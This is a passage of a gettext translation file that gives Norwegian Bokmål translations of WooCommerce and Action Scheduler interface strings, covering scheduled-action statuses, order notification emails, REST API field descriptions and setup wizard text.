#: packages/action-scheduler/classes/abstracts/ActionScheduler_Store.php:458
#: src/Internal/ReceiptRendering/ReceiptRenderingEngine.php:392
msgid "Failed"
msgstr "Mislykket"
#: packages/action-scheduler/classes/abstracts/ActionScheduler_Store.php:457
msgid "In-progress"
msgstr "Pågående"
#: packages/action-scheduler/classes/abstracts/ActionScheduler_Store.php:456
msgid "Pending"
msgstr "På vent"
#: packages/action-scheduler/classes/data-stores/ActionScheduler_wpPostStore.php:318
msgid "Invalid schedule. Cannot save action."
msgstr "Ugyldig tidsplan. Kan ikke lagre handling."
#: packages/action-scheduler/classes/ActionScheduler_QueueRunner.php:249
msgid "Every minute"
msgstr "Hvert minutt"
#: packages/action-scheduler/classes/abstracts/ActionScheduler_Logger.php:207
msgid "action ignored"
msgstr "handling ignorert"
#: packages/action-scheduler/classes/abstracts/ActionScheduler_Logger.php:193
msgid "action reset"
msgstr "tilbakestill handling"
#. translators: 1: error message 2: filename 3: line
#: packages/action-scheduler/classes/abstracts/ActionScheduler_Logger.php:183
msgid "unexpected shutdown: PHP Fatal error %1$s in %2$s on line %3$s"
msgstr "uventet avslutning: PHP Fatal error %1$s i %2$s på linje %3$s"
#. translators: %s: exception message
#: packages/action-scheduler/classes/abstracts/ActionScheduler_Logger.php:158
msgid "action failed: %s"
msgstr "handling mislyktes: %s"
#: packages/action-scheduler/classes/abstracts/ActionScheduler_Logger.php:140
msgid "action complete"
msgstr "handling fullført"
#: packages/action-scheduler/classes/abstracts/ActionScheduler_Logger.php:123
msgid "action started"
msgstr "handling startet"
#: packages/action-scheduler/classes/abstracts/ActionScheduler_Logger.php:109
#: packages/action-scheduler/classes/data-stores/ActionScheduler_DBLogger.php:142
msgid "action canceled"
msgstr "handling avbutt"
#: packages/action-scheduler/classes/abstracts/ActionScheduler_Logger.php:100
msgid "action created"
msgstr "handling opprettet"
#: packages/action-scheduler/classes/ActionScheduler_ListTable.php:666
msgid "Search hook, args and claim ID"
msgstr "Søk hook, args og krav-ID"
#. translators: %s: date interval
#: packages/action-scheduler/classes/ActionScheduler_ListTable.php:490
msgid " (%s)"
msgstr " (%s)"
#. translators: %s: date interval
#: packages/action-scheduler/classes/ActionScheduler_ListTable.php:487
msgid " (%s ago)"
msgstr " (%s siden)"
#. translators: 1: action HTML 2: action ID 3: error message
#: packages/action-scheduler/classes/ActionScheduler_ListTable.php:437
msgid "Could not process change for action: \"%1$s\" (ID: %2$d). Error: %3$s"
msgstr "Kunne ikke behandle endring for handling: «%1$s\" (ID: %2$d). Feil: %3$s"
#. translators: %s: action HTML
#: packages/action-scheduler/classes/ActionScheduler_ListTable.php:431
msgid "Successfully processed change for action: %s"
msgstr "Vellykket endring for handling: %s"
#. translators: %s: action HTML
#: packages/action-scheduler/classes/ActionScheduler_ListTable.php:427
msgid "Successfully canceled action: %s"
msgstr "Vellykket avbrutt handling: %s"
#. translators: %s: action HTML
#: packages/action-scheduler/classes/ActionScheduler_ListTable.php:423
msgid "Successfully executed action: %s"
msgstr "Vellykket kjørt handling: %s"
#. translators: %s: amount of claims
#: packages/action-scheduler/classes/ActionScheduler_ListTable.php:381
msgid "Maximum simultaneous queues already in progress (%s queue). No additional queues will begin processing until the current queues are complete."
msgid_plural "Maximum simultaneous queues already in progress (%s queues). No additional queues will begin processing until the current queues are complete."
msgstr[0] "Maksimalt samtidige behandlingskøer kjører allerede (%s kø). Ingen nye køer vil begynne behandling før køene som nå kjører er fullført."
msgstr[1] "Maksimalt samtidige behandlingskøer kjører allerede (%s køer). Ingen nye køer vil begynne behandling før køene som nå kjører er fullført."
#: packages/action-scheduler/classes/ActionScheduler_ListTable.php:267
msgid "Non-repeating"
msgstr "Ikke-gjentakende"
#. translators: %s: time interval
#: packages/action-scheduler/classes/ActionScheduler_ListTable.php:261
msgid "Every %s"
msgstr "Hver %s"
#: packages/action-scheduler/classes/ActionScheduler_ListTable.php:224
msgid "Now!"
msgstr "Nå!"
#. translators: %s: amount of time
#: packages/action-scheduler/classes/ActionScheduler_ListTable.php:174
msgid "%s second"
msgid_plural "%s seconds"
msgstr[0] "%s sekund"
msgstr[1] "%s sekunder"
#. translators: %s: amount of time
#. translators: %s is the time duration in minutes
#: packages/action-scheduler/classes/ActionScheduler_ListTable.php:169
#: src/Internal/StockNotifications/Emails/CustomerStockNotificationVerifyEmail.php:167
msgid "%s minute"
msgid_plural "%s minutes"
msgstr[0] "%s minute"
msgstr[1] "%s minutter"
#. translators: %s: amount of time
#: packages/action-scheduler/classes/ActionScheduler_ListTable.php:164
msgid "%s hour"
msgid_plural "%s hours"
msgstr[0] "%s time"
msgstr[1] "%s timer"
#. translators: %s is a number of days.
#. translators: %s: amount of time
#: includes/admin/views/html-admin-page-status-report.php:823
#: packages/action-scheduler/classes/ActionScheduler_ListTable.php:159
msgid "%s day"
msgid_plural "%s days"
msgstr[0] "%s dag"
msgstr[1] "%s dager"
#. translators: %s: amount of time
#: packages/action-scheduler/classes/ActionScheduler_ListTable.php:154
msgid "%s week"
msgid_plural "%s weeks"
msgstr[0] "%s uke"
msgstr[1] "%s uker"
#. translators: %s: amount of time
#: packages/action-scheduler/classes/ActionScheduler_ListTable.php:149
msgid "%s month"
msgid_plural "%s months"
msgstr[0] "%s måned"
msgstr[1] "%s måneder"
#. translators: %s: amount of time
#: packages/action-scheduler/classes/ActionScheduler_ListTable.php:144
msgid "%s year"
msgid_plural "%s years"
msgstr[0] "%s år"
msgstr[1] "%s år"
#: packages/action-scheduler/classes/ActionScheduler_ListTable.php:134
msgid "Cancel the action now to avoid it being run in future"
msgstr "Avbryt handlingen nå for å unngå at den kjøres i fremtiden"
#: packages/action-scheduler/classes/ActionScheduler_ListTable.php:130
msgid "Process the action now as if it were run as part of a queue"
msgstr "Kjør handlingen nå som om den ble kjørt som en del av en kø"
#: packages/action-scheduler/classes/ActionScheduler_ListTable.php:129
msgid "Run"
msgstr "Kjør"
#: packages/action-scheduler/classes/ActionScheduler_ListTable.php:122
msgid "Claim ID"
msgstr "Krav-ID"
#: packages/action-scheduler/classes/ActionScheduler_AdminView.php:306
#: packages/action-scheduler/classes/ActionScheduler_ListTable.php:102
msgid "Log"
msgstr "Logg"
#: packages/action-scheduler/classes/ActionScheduler_ListTable.php:101
msgid "Scheduled Date"
msgstr "Planlagt dato"
#: packages/action-scheduler/classes/ActionScheduler_AdminView.php:304
#: packages/action-scheduler/classes/ActionScheduler_ListTable.php:100
msgid "Recurrence"
msgstr "Gjentakelse"
#: packages/action-scheduler/classes/ActionScheduler_AdminView.php:303
#: packages/action-scheduler/classes/ActionScheduler_ListTable.php:99
msgid "Group"
msgstr "Gruppe"
#: packages/action-scheduler/classes/ActionScheduler_AdminView.php:302
#: packages/action-scheduler/classes/ActionScheduler_ListTable.php:98
msgid "Arguments"
msgstr "Argumenter"
#: packages/action-scheduler/classes/ActionScheduler_AdminView.php:300
#: packages/action-scheduler/classes/ActionScheduler_ListTable.php:96
msgid "Hook"
msgstr "Kobling"
#. translators: 1: action ID 2: arguments
#: packages/action-scheduler/classes/ActionScheduler_InvalidActionException.php:40
msgid "Action [%1$s] has invalid arguments. It cannot be JSON decoded to an array. $args = %2$s"
msgstr "Handling [%1$s] har ugyldige argumenter. Det kan ikke være JSON decodert til en array. $args = %2$s"
#: packages/action-scheduler/classes/ActionScheduler_AdminView.php:82
#: packages/action-scheduler/classes/ActionScheduler_AdminView.php:97
#: packages/action-scheduler/classes/ActionScheduler_AdminView.php:98
#: packages/action-scheduler/classes/ActionScheduler_ListTable.php:89
#: packages/action-scheduler/classes/data-stores/ActionScheduler_wpPostStore_PostTypeRegistrar.php:23
#: packages/action-scheduler/classes/data-stores/ActionScheduler_wpPostStore_PostTypeRegistrar.php:34
msgid "Scheduled Actions"
msgstr "Planlagte handlinger"
#: includes/emails/class-wc-email-new-order.php:87
msgid "New Order: #{order_number}"
msgstr "Ny ordre: {order_number}"
#: includes/emails/class-wc-email-failed-order.php:77
msgid "Order Failed: #{order_number}"
msgstr "Ordre mislyktes: nr. {order_number}"
#: includes/emails/class-wc-email-failed-order.php:65
msgid "[{site_title}]: Order #{order_number} has failed"
msgstr "[{site_title}]: Ordrenr. {order_number} mislyktes"
#: includes/emails/class-wc-email-customer-reset-password.php:98
msgid "Password Reset Request"
msgstr "Tilbakestill passordforespørsel"
#: includes/emails/class-wc-email-customer-reset-password.php:86
msgid "Password Reset Request for {site_title}"
msgstr "Tilbakestill passordforespørsel for {site_title}"
#: includes/emails/class-wc-email-customer-pos-refunded-order.php:105
#: includes/emails/class-wc-email-customer-refunded-order.php:100
msgid "Order Refunded: {order_number}"
msgstr "Ordre refundert: {order_number}"
#: includes/emails/class-wc-email-customer-pos-refunded-order.php:101
#: includes/emails/class-wc-email-customer-refunded-order.php:96
msgid "Partial Refund: Order {order_number}"
msgstr "Delvis refundert: ordre {order_number}"
#: includes/emails/class-wc-email-customer-on-hold-order.php:62
#: includes/emails/class-wc-email-customer-processing-order.php:64
msgid "Your {site_title} order has been received!"
msgstr "Ordren din hos {site_title} er mottatt"
#: includes/emails/class-wc-email-customer-new-account.php:82
msgid "Your {site_title} account has been created!"
msgstr "Kontoen din hos {site_title} er opprettet!"
#: includes/emails/class-wc-email-customer-invoice.php:65
msgid "Details for order #{order_number} on {site_title}"
msgstr "Detaljer for ordrenr. {order_number} på {site_title}"
#: includes/emails/class-wc-email-customer-completed-order.php:101
msgid "Thanks for shopping with us"
msgstr "Takk for at du handlet hos oss"
#: includes/emails/class-wc-email-customer-completed-order.php:89
msgid "Your {site_title} order is now complete"
msgstr "Ordren din hos {site_title} er nå fullført"
#: includes/emails/class-wc-email-cancelled-order.php:78
#: includes/emails/class-wc-email-customer-cancelled-order.php:76
msgid "Order Cancelled: #{order_number}"
msgstr "Ordre kansellert: {order_number}"
#: includes/class-wc-privacy.php:68 includes/class-wc-privacy.php:74
msgid "WooCommerce Customer Payment Tokens"
msgstr "WooCommerce kundebetalingsnøkler"
#: includes/class-wc-privacy.php:67 includes/class-wc-privacy.php:73
msgid "WooCommerce Customer Downloads"
msgstr "WooCommerce kundenedlastinger"
#: includes/class-wc-privacy.php:66 includes/class-wc-privacy.php:72
msgid "WooCommerce Customer Orders"
msgstr "WooCommerce kundeordrer"
#: includes/class-wc-privacy.php:65 includes/class-wc-privacy.php:71
msgid "WooCommerce Customer Data"
msgstr "WooCommerce kundedata"
#. translators: %1$s: field name, %2$s finder.eircode.ie URL
#: includes/class-wc-checkout.php:878
msgid "%1$s is not valid. You can look up the correct Eircode <a target=\"_blank\" href=\"%2$s\">here</a>."
msgstr "%1$s er ikke gyldig. Du kan slå opp den riktige Eircode <a target=\"_blank\" href=\"%2$s\">her</a> ."
#. translators: 1: product name 2: quantity in stock
#. translators: %s: product name
#: includes/class-wc-cart.php:831
#: includes/shortcodes/class-wc-shortcode-checkout.php:170
#: src/StoreApi/Utilities/OrderController.php:777
msgid "Sorry, we do not have enough \"%1$s\" in stock to fulfill your order (%2$s available). We apologize for any inconvenience caused."
msgstr "Beklager, vi har ikke nok av \"%1$s\" på lager til å oppfylle ordren din (%2$s på lager). Vi beklager eventuelle ulemper dette medfører."
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:690
#: includes/rest-api/Controllers/Version2/class-wc-rest-orders-v2-controller.php:1757
#: src/RestApi/Routes/V4/Orders/Schema/OrderShippingSchema.php:56
msgid "Shipping instance ID."
msgstr "Frakt forekomst-ID."
#: includes/rest-api/Controllers/Version3/class-wc-rest-setting-options-controller.php:174
msgid "An identifier for the group this setting belongs to."
msgstr "En identifikator for gruppen denne innstillingen tilhører."
#: includes/rest-api/Controllers/Version3/class-wc-rest-reports-controller.php:67
msgid "Attributes totals."
msgstr "Attributt-summer."
#: includes/rest-api/Controllers/Version3/class-wc-rest-reports-controller.php:63
msgid "Tags totals."
msgstr "Stikkord-totaler."
#: includes/rest-api/Controllers/Version3/class-wc-rest-reports-controller.php:59
msgid "Categories totals."
msgstr "Kategori totaler."
#: includes/rest-api/Controllers/Version3/class-wc-rest-reports-controller.php:55
msgid "Reviews totals."
msgstr "Omtaletotaler."
#: includes/rest-api/Controllers/Version3/class-wc-rest-reports-controller.php:51
msgid "Coupons totals."
msgstr "Rabattkodetotaler."
#: includes/rest-api/Controllers/Version3/class-wc-rest-reports-controller.php:47
msgid "Customers totals."
msgstr "Kunde totaler."
#: includes/rest-api/Controllers/Version3/class-wc-rest-reports-controller.php:43
msgid "Products totals."
msgstr "Produkt totaler."
#: includes/rest-api/Controllers/Version3/class-wc-rest-reports-controller.php:39
msgid "Orders totals."
msgstr "Ordre totaler."
#: includes/rest-api/Controllers/Version3/class-wc-rest-report-reviews-totals-controller.php:122
msgid "Amount of reviews."
msgstr "Antall omtaler."
#: includes/rest-api/Controllers/Version3/class-wc-rest-report-reviews-totals-controller.php:116
msgid "Review type name."
msgstr "Omtale typenavn."
#: includes/rest-api/Controllers/Version3/class-wc-rest-report-products-totals-controller.php:123
#: src/Admin/API/Reports/Categories/Controller.php:147
msgid "Amount of products."
msgstr "Antall produkter."
#: includes/rest-api/Controllers/Version3/class-wc-rest-report-products-totals-controller.php:117
msgid "Product type name."
msgstr "Produkttype navn."
#: includes/rest-api/Controllers/Version3/class-wc-rest-report-orders-totals-controller.php:119
msgid "Amount of orders."
msgstr "Antall ordrer."
#: includes/rest-api/Controllers/Version3/class-wc-rest-report-orders-totals-controller.php:113
#: src/Internal/Orders/OrderStatusRestController.php:102
msgid "Order status name."
msgstr "Ordrestatus navn."
#: includes/rest-api/Controllers/Version3/class-wc-rest-report-customers-totals-controller.php:144
msgid "Amount of customers."
msgstr "Antall kunder."
#: includes/rest-api/Controllers/Version3/class-wc-rest-report-customers-totals-controller.php:138
msgid "Customer type name."
msgstr "Kundetype navn."
#: includes/rest-api/Controllers/Version3/class-wc-rest-report-customers-totals-controller.php:79
msgid "Non-paying customer"
msgstr "Ikke-betalende kunde"
#: includes/rest-api/Controllers/Version3/class-wc-rest-report-customers-totals-controller.php:74
msgid "Paying customer"
msgstr "Betalende kunde"
#: includes/rest-api/Controllers/Version3/class-wc-rest-report-coupons-totals-controller.php:133
msgid "Amount of coupons."
msgstr "Antall rabattkoder."
#: includes/rest-api/Controllers/Version3/class-wc-rest-report-coupons-totals-controller.php:127
msgid "Coupon type name."
msgstr "Navn for rabattkodetype."
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:1154
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1851
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1900
#: src/StoreApi/Routes/V1/Products.php:388
msgid "Limit result set to products with specified stock status."
msgstr "Avgrens resultat til produkter med en bestemt lagerstatus."
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:704
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1404
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1410
msgid "Controls the stock status of the product."
msgstr "Kontrollerer lagerstatus for produktet."
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1892
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2369
#: includes/rest-api/Controllers/Version2/class-wc-rest-product-variations-v2-controller.php:822
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1875
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:651
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:1340
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:1346
msgid "File ID."
msgstr "Fil-ID."
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:617
msgid "Variation status."
msgstr "Variantstatus."
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:1076
msgid "Invalid review ID."
msgstr "Ugyldig omtale-ID."
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:1042
msgid "Limit result set to reviews assigned a specific status."
msgstr "Avgrens resultat til omtaler med en bestemt status."
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:1034
msgid "Limit result set to reviews assigned to specific product IDs."
msgstr "Avgrens resultat til omtaler knyttet til bestemte produkt-ID'er."
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:1028
msgid "Limit result set to that from a specific author email."
msgstr "Avgrens resultat til de fra en bestemt forfatter e-postadresse."
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:1020
msgid "Ensure result set excludes reviews assigned to specific user IDs."
msgstr "Sørg for at resultatet utelukker omtaler som er tildelt bestemte bruker-IDer."
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:1013
msgid "Limit result set to reviews assigned to specific user IDs."
msgstr "Avgrens resultat til omtaler knyttet til bestemte bruker-ID'er."
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:967
msgid "Limit response to reviews published before a given ISO8601 compliant date."
msgstr "Avgrens respons til omtaler publisert før en bestemt ISO8601 kompatibel dato."
#: src/StoreApi/Routes/V1/Products.php:169
msgid "Limit response to resources created after a given ISO8601 compliant date."
msgstr "Begrens respons til ressurser opprettet etter en gitt ISO8601-kompatibel dato."
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:940
#: src/StoreApi/Schemas/V1/ProductReviewSchema.php:144
msgid "Avatar URLs for the object reviewer."
msgstr "Avatar-URLer for objektets forfatter."
#. translators: %d: avatar image size in pixels
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:933
#: src/StoreApi/Schemas/V1/ProductReviewSchema.php:137
msgid "Avatar URL with image size of %d pixels."
msgstr "Avatar-URL med en bildestørrelse på %d piksler."
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:887
msgid "Status of the review."
msgstr "Status for omtalen."
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:870
#: src/StoreApi/Schemas/V1/ProductReviewSchema.php:77
msgid "Unique identifier for the product that the review belongs to."
msgstr "Unik identifikator for produktet som omtalen tilhører."
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:669
msgid "The object cannot be deleted."
msgstr "Objektet kan ikke slettes."
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:660
msgid "The object has already been trashed."
msgstr "Objektet ligger allerede i papirkurven."
#. translators: %s: force=true
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:656
msgid "The object does not support trashing. Set '%s' to delete."
msgstr "Objektet kan ikke legges i papirkurven. Angi '%s' for å slette."
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:581
msgid "Updating review failed."
msgstr "Oppdatering av omtalen feilet."
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:400
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:567
msgid "Invalid review content."
msgstr "Ugyldig innhold i omtalen."
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:559
msgid "Updating review status failed."
msgstr "Oppdatering av status på omtalen mislyktes."
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:540
msgid "Sorry, you are not allowed to change the comment type."
msgstr "Beklager, du har ikke lov til å endre kommentartypen."
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:425
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:575
msgid "Product review field exceeds maximum length allowed."
msgstr "Omtalefeltet overstiger maksimum tillatt lengde."
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:380
msgid "Cannot create existing product review."
msgstr "Kan ikke opprette eksisterende omtale."
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:55
msgid "Unique identifier for the product."
msgstr "Unik identifikator for produktet."
#: includes/rest-api/Controllers/Version3/class-wc-rest-payment-gateways-controller.php:158
msgid "Supported features for this payment gateway."
msgstr "Støttede funksjoner for denne betalingsløsningen."
#: includes/rest-api/Controllers/Version3/class-wc-rest-order-notes-controller.php:157
msgid "If true, this note will be attributed to the current user. If false, the note will be attributed to the system."
msgstr "Hvis sant, vil dette notatet tilskrives den gjeldende brukeren. Hvis det er feil, blir notatet tilordnet systemet."
#: includes/rest-api/Controllers/Version3/class-wc-rest-order-notes-controller.php:128
#: src/RestApi/Routes/V4/OrderNotes/Schema/OrderNoteSchema.php:52
msgid "Order note author."
msgstr "Ordrenotat forfatter."
#: includes/rest-api/Controllers/Version3/class-wc-rest-data-currencies-controller.php:213
msgid "Full name of currency."
msgstr "Fullt navn på valuta."
#: includes/rest-api/Controllers/Version3/class-wc-rest-data-currencies-controller.php:133
msgid "There are no currencies matching these parameters."
msgstr "Det finnes ingen valutaer som passer disse parameterne."
#: includes/rest-api/Controllers/Version3/class-wc-rest-data-currencies-controller.php:72
#: includes/rest-api/Controllers/Version3/class-wc-rest-data-currencies-controller.php:207
msgid "ISO4217 currency code."
msgstr "ISO4217 Valutakode."
#: includes/rest-api/Controllers/Version3/class-wc-rest-data-controller.php:174
msgid "Data resource description."
msgstr "Dataressurs beskrivelse."
#: includes/rest-api/Controllers/Version3/class-wc-rest-data-controller.php:168
msgid "Data resource ID."
msgstr "Dataressurs ID."
#: includes/rest-api/Controllers/Version3/class-wc-rest-data-controller.php:101
msgid "List of supported currencies."
msgstr "Liste over støttede valutaer."
#: includes/rest-api/Controllers/Version3/class-wc-rest-data-controller.php:97
msgid "List of supported states in a given country."
msgstr "Liste over støttede stater i et bestemt land."
#: includes/rest-api/Controllers/Version3/class-wc-rest-data-controller.php:93
msgid "List of supported continents, countries, and states."
msgstr "Liste over støttede kontinenter, land og stater."
#: includes/rest-api/Controllers/Version3/class-wc-rest-data-continents-controller.php:350
msgid "The unit weights are defined in for this country."
msgstr "Vekteenhetene er definert for dette landet."
#: includes/rest-api/Controllers/Version3/class-wc-rest-data-continents-controller.php:344
msgid "Thousands separator for displayed prices in this country."
msgstr "Tusenskilletegnet i viste priser for dette landet."
#: includes/rest-api/Controllers/Version3/class-wc-rest-data-continents-controller.php:335
#: includes/rest-api/Controllers/Version3/class-wc-rest-data-countries-controller.php:232
msgid "Full name of state."
msgstr "Fullt navn på delstaten."
#: includes/rest-api/Controllers/Version3/class-wc-rest-data-continents-controller.php:319
#: includes/rest-api/Controllers/Version3/class-wc-rest-data-countries-controller.php:216
msgid "List of states in this country."
msgstr "Liste over delstater i dette landet."
#: includes/rest-api/Controllers/Version3/class-wc-rest-data-continents-controller.php:313
msgid "Number of decimal points shown in displayed prices for this country."
msgstr "Antall desimaler vist i priser for dette landet."
#: includes/rest-api/Controllers/Version3/class-wc-rest-data-continents-controller.php:307
#: includes/rest-api/Controllers/Version3/class-wc-rest-data-countries-controller.php:210
msgid "Full name of country."
msgstr "Fullt navn på landet."
#: includes/rest-api/Controllers/Version3/class-wc-rest-data-continents-controller.php:301
msgid "The unit lengths are defined in for this country."
msgstr "Lengdeenheter er definert for dette landet."
#: includes/rest-api/Controllers/Version3/class-wc-rest-data-continents-controller.php:295
msgid "Decimal separator for displayed prices for this country."
msgstr "Desimalskilletegn viste i priser for dette landet."
#: includes/rest-api/Controllers/Version3/class-wc-rest-data-continents-controller.php:289
msgid "Currency symbol position for this country."
msgstr "Plassering av valutasymbol for dette landet."
#: includes/rest-api/Controllers/Version3/class-wc-rest-data-continents-controller.php:283
msgid "Default ISO4127 alpha-3 currency code for the country."
msgstr "Standard ISO4127 alpha-3 valutakode for landet."
#: includes/rest-api/Controllers/Version3/class-wc-rest-data-continents-controller.php:277
#: includes/rest-api/Controllers/Version3/class-wc-rest-data-countries-controller.php:63
#: includes/rest-api/Controllers/Version3/class-wc-rest-data-countries-controller.php:204
msgid "ISO3166 alpha-2 country code."
msgstr "ISO3166 alpha-2 landskode."
#: includes/rest-api/Controllers/Version3/class-wc-rest-data-continents-controller.php:267
msgid "List of countries on this continent."
msgstr "Liste over land i dette kontinentet."
#: includes/rest-api/Controllers/Version3/class-wc-rest-data-continents-controller.php:261
msgid "Full name of continent."
msgstr "Fullt navn på kontinentet."
#: includes/rest-api/Controllers/Version3/class-wc-rest-data-continents-controller.php:190
#: includes/rest-api/Controllers/Version3/class-wc-rest-data-countries-controller.php:137
msgid "There are no locations matching these parameters."
msgstr "Det finnes ingen plasseringer som passer disse parameterne."
#: includes/rest-api/Controllers/Version3/class-wc-rest-data-continents-controller.php:63
#: includes/rest-api/Controllers/Version3/class-wc-rest-data-continents-controller.php:255
msgid "2 character continent code."
msgstr "2 tegn kontinentkode."
#: includes/admin/views/html-notice-template-check.php:27
msgid "View affected templates"
msgstr "Se påvirkede maler"
#: includes/admin/views/html-notice-template-check.php:22
msgid "If you copied over a template file to change something, then you will need to copy the new version of the template and apply your changes again."
msgstr "Hvis du kopierte over en malfil for å endre noe, må du kopiere den nye versjonen av malen og gjennomføre endringene på nytt."
#: includes/admin/views/html-notice-template-check.php:21
msgid "Update your theme to the latest version. If no update is available contact your theme author asking about compatibility with the current WooCommerce version."
msgstr "Oppdater temaet ditt til den nyeste versjonen. Hvis ingen oppdatering er tilgjengelig, kontakt temaforfatteren og spør om kompatibilitet med den gjeldende WooCommerce-versjonen."
#. translators: %s: theme name
#: includes/admin/views/html-notice-template-check.php:19
msgid "<strong>Your theme (%s) contains outdated copies of some WooCommerce template files.</strong> These files may need updating to ensure they are compatible with the current version of WooCommerce. Suggestions to fix this:"
msgstr "<strong>Temaet ditt (%s) inneholder utdaterte kopier av noen WooCommerce-malfiler.</strong> Disse filene må kanskje oppdateres for å sikre at de er kompatible med den nåværende versjonen av WooCommerce. Forslag til å fikse dette:"
#: includes/admin/views/html-admin-page-product-export.php:113
msgid "Export all categories"
msgstr "Eksporter alle kategorier"
#: includes/admin/views/html-admin-page-product-export.php:110
msgid "Which product category should be exported?"
msgstr "Hvilken produktkategori skal eksporteres?"
#: includes/admin/settings/class-wc-settings-products.php:106
msgid "This is the attachment ID, or image URL, used for placeholder images in the product catalog. Products with no image will use this."
msgstr "Dette er Vedleggs-ID'en, eller Bilde URL-en, som brukes for plassholderbilder i produktkatalogen. Produkter med manglende bilde vil bruke dette."
#: includes/admin/settings/class-wc-settings-products.php:105
msgid "Enter attachment ID or URL to an image"
msgstr "Angi vedleggs-id eller nettadresse til et bilde"
#: includes/admin/settings/class-wc-settings-products.php:99
msgid "Placeholder image"
msgstr "Plassholderbilde"
#. Translators: %s URL to erasure request screen.
#: includes/admin/settings/class-wc-settings-accounts.php:159
msgid "When handling an %s, should access to downloadable files be revoked and download logs cleared?"
msgstr "Når du håndterer en %s, skal tilgang til nedlastbare filer tilbakekalles og nedlastingslogger tømmes?"
#. Translators: %s URL to erasure request screen.
#: includes/admin/settings/class-wc-settings-accounts.php:149
msgid "When handling an %s, should personal data within orders be retained or removed?"
msgstr "Når du håndterer en %s, skal personopplysninger i ordre beholdes eller fjernes?"
#: includes/admin/meta-boxes/views/html-variation-admin.php:248
msgid "Enter a number to set stock quantity at the variation level. Use a variation's 'Manage stock?' check box above to enable/disable stock management at the variation level."
msgstr "Legg inn et tall for å bestemme lagerantall på variantnivå. Bruk avkrysningsboksen 'Administrere lager?' ovenfor for å slå på/av lagerstyring på variantnivå."
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:628
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:814
#: includes/export/class-wc-product-csv-exporter.php:145
msgid "Low stock amount"
msgstr "Terskel for lite på lager"
#: includes/admin/class-wc-admin-setup-wizard.php:1438
msgid "Set up PayPal for me using this email:"
msgstr "Konfigurer PayPal for meg med denne e-postadressen:"
#: includes/admin/class-wc-admin-setup-wizard.php:1430
msgid "WooCommerce PayPal Checkout Gateway"
msgstr "WooCommerce PayPal Checkout betalingsmåte"
#: includes/admin/class-wc-admin-setup-wizard.php:1412
msgid "Set up Stripe for me using this email:"
msgstr "Konfigurer Stripe for meg med denne e-postadressen:"
#. translators: %1$s: weight unit dropdown, %2$s: dimension unit dropdown
#: includes/admin/class-wc-admin-setup-wizard.php:1131
msgid "We'll use %1$s for product weight and %2$s for product dimensions."
msgstr "Vi bruker %1$s for produktetvekt og %2$s for produktdimensjoner."
#: includes/admin/class-wc-admin-setup-wizard.php:1049
msgid "ShipStation"
msgstr "ShipStation"
#: includes/admin/class-wc-admin-setup-wizard.php:1046
msgid "ShipStation icon"
msgstr "ShipStation ikon"
#: includes/admin/class-wc-admin-setup-wizard.php:1044
msgid "We recommend using ShipStation to save time at the post office by printing your shipping labels at home. Try ShipStation free for 30 days."
msgstr "Vi anbefaler at du bruker ShipStation for å spare tid på postkontoret ved å skrive ut fraktetiketter hjemme. Prøv ShipStation gratis i 30 dager."
#: includes/admin/class-wc-admin-setup-wizard.php:1035
msgid "WooCommerce Services icon"
msgstr "WooCommerce Services ikon"
#: includes/admin/class-wc-admin-setup-wizard.php:1116
msgid "A live rate is the exact cost to ship an order, quoted directly from the shipping carrier."
msgstr "En sanntidspris er den nøyaktige leveringskostnaden for en ordre, hentet direkte fra transportøren."
#. translators: %1$s: live rates tooltip text, %2$s: shipping extensions URL
#: includes/admin/class-wc-admin-setup-wizard.php:1104
msgid "If you'd like to offer <span class=\"help_tip\" data-tip=\"%1$s\">live rates</span> from a specific carrier (e.g. UPS) you can find a variety of extensions available for WooCommerce <a href=\"%2$s\" target=\"_blank\">here</a>."
